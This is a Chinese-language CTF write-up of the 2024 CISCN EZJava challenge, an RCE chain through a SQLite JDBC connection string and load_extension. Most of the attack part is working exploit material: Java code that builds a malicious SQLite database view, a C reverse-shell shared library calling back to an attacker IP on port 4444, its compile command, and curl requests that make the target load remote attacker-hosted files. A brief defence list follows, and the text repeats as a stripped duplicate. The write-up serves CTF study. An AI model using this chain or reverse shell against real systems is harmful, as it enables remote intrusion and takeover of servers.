2024ciscn-ezjava学习
字数 998 2025-08-03 16:48:49

2024 CISCN EZJava 漏洞分析与利用教学

漏洞概述

2024年CISCN比赛中出现的EZJava题目展示了一个基于JDBC连接的SQLite漏洞利用链,通过恶意构造的JDBC连接字符串和SQLite扩展加载机制,实现远程代码执行(RCE)。

漏洞分析

1. 漏洞入口点

漏洞位于JdbcController类的connect方法:

@RequestMapping(value={"/connect"})
@ResponseBody
public ResultBean connect(@RequestBody JdbcBean jdbcBean) {
    try {
        return new ResultBean(Integer.valueOf(1), String.join((CharSequence)",", 
            this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));
    }
    catch (Exception e) {
        return new ResultBean(Integer.valueOf(0), "\u8fde\u63a5\u5931\u8d25");
    }
}

该方法接收一个JdbcBean对象,并将其传递给datasourceServiceImpl.testDatasourceConnectionAble方法进行数据库连接测试。

2. 核心漏洞逻辑

testDatasourceConnectionAble方法中处理SQLite连接的部分:

case 3: {
    SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
    if (jdbcBean.getTableName() != null) {
        return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
    }
    return sqliteDatasourceConnector.getTables();
}

type为3时,会创建SQLite连接并执行表查询操作。

3. SQL查询执行点

getTableContent方法存在SQL注入风险:

public String[] getTableContent(String tableName) {
    String sql = "select * from " + tableName;  // 直接拼接表名,存在SQL注入
    try (Statement statement = this.connection.createStatement();
         ResultSet resultSet = statement.executeQuery(sql);){
        while (resultSet.next()) {
        }
    }
    catch (SQLException e) {
        e.printStackTrace();
    }
    return new String[0];
}

漏洞利用链

1. SQLite JDBC攻击原理

SQLite支持通过load_extension函数加载外部库文件,这为RCE提供了可能:

  1. 创建恶意视图(View)指向load_extension函数
  2. 通过JDBC连接字符串从远程加载恶意数据库文件
  3. 数据库文件中的视图会触发加载恶意.so文件

2. 恶意数据库文件生成

生成包含恶意视图的SQLite数据库文件:

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;

public class Gen {
    public static void main(String[] args) {
        try {
            String dbFile = "poc.db";
            File file = new File(dbFile);
            Class.forName("org.sqlite.JDBC");
            Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
            
            String sql = "CREATE VIEW security as SELECT (SELECT load_extension('/tmp/sqlite-jdbc-tmp-2133282111.db'));";
            PreparedStatement preStmt = conn.prepareStatement(sql);
            preStmt.executeUpdate();
            preStmt.close();
            conn.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

3. 恶意.so文件编写

编写反弹shell的恶意.so文件:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("攻击者IP");

    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

编译命令:

gcc -shared -fPIC -o vulnso.so vulnso.c

完整利用步骤

  1. 准备恶意.so文件和数据库文件
  2. 将.so文件上传到目标服务器的/tmp/目录下(可通过其他漏洞)
  3. 分两步发送请求:

第一步:加载恶意数据库文件

curl --header "Content-Type: application/json" \
--request POST \
--data '{"type": 3,"url": "jdbc:sqlite::resource:http://攻击者服务器/poc.db","tableName": "security"}' \
http://目标服务器/jdbc/connect

第二步:触发.so文件加载

curl --header "Content-Type: application/json" \
--request POST \
--data '{"type": 3,"url": "jdbc:sqlite::resource:http://攻击者服务器/vulnso.so","tableName": "security"}' \
http://目标服务器/jdbc/connect

防御措施

  1. 禁用SQLite的扩展加载功能:

    // 在创建连接时添加参数
    jdbc:sqlite:file:test.db?enable_load_extension=false
    
  2. 对用户输入的JDBC连接字符串和表名进行严格过滤

  3. 限制数据库文件只能从本地加载,禁止远程资源加载

  4. 使用预编译语句(PreparedStatement)而非字符串拼接SQL

  5. 实施最小权限原则,限制数据库用户权限

总结

该漏洞利用链展示了如何通过JDBC连接和SQLite特性实现RCE,关键在于:

  1. 利用SQLite的load_extension功能
  2. 通过JDBC从远程加载恶意资源
  3. 构造特殊的数据库视图触发恶意代码执行

这种攻击方式在Java应用中较为少见,但危害极大,开发人员应特别注意JDBC连接的安全配置。

2024 CISCN EZJava 漏洞分析与利用教学 漏洞概述 2024年CISCN比赛中出现的EZJava题目展示了一个基于JDBC连接的SQLite漏洞利用链,通过恶意构造的JDBC连接字符串和SQLite扩展加载机制,实现远程代码执行(RCE)。 漏洞分析 1. 漏洞入口点 漏洞位于 JdbcController 类的 connect 方法: 该方法接收一个 JdbcBean 对象,并将其传递给 datasourceServiceImpl.testDatasourceConnectionAble 方法进行数据库连接测试。 2. 核心漏洞逻辑 testDatasourceConnectionAble 方法中处理SQLite连接的部分: 当 type 为3时,会创建SQLite连接并执行表查询操作。 3. SQL查询执行点 getTableContent 方法存在SQL注入风险: 漏洞利用链 1. SQLite JDBC攻击原理 SQLite支持通过 load_extension 函数加载外部库文件,这为RCE提供了可能: 创建恶意视图(View)指向 load_extension 函数 通过JDBC连接字符串从远程加载恶意数据库文件 数据库文件中的视图会触发加载恶意.so文件 2. 恶意数据库文件生成 生成包含恶意视图的SQLite数据库文件: 3. 恶意.so文件编写 编写反弹shell的恶意.so文件: 编译命令: 完整利用步骤 准备恶意.so文件和数据库文件 将.so文件上传到目标服务器的 /tmp/ 目录下(可通过其他漏洞) 分两步发送请求: 第一步:加载恶意数据库文件 第二步:触发.so文件加载 防御措施 禁用SQLite的扩展加载功能: 对用户输入的JDBC连接字符串和表名进行严格过滤 限制数据库文件只能从本地加载,禁止远程资源加载 使用预编译语句(PreparedStatement)而非字符串拼接SQL 实施最小权限原则,限制数据库用户权限 总结 该漏洞利用链展示了如何通过JDBC连接和SQLite特性实现RCE,关键在于: 利用SQLite的 load_extension 功能 通过JDBC从远程加载恶意资源 构造特殊的数据库视图触发恶意代码执行 这种攻击方式在Java应用中较为少见,但危害极大,开发人员应特别注意JDBC连接的安全配置。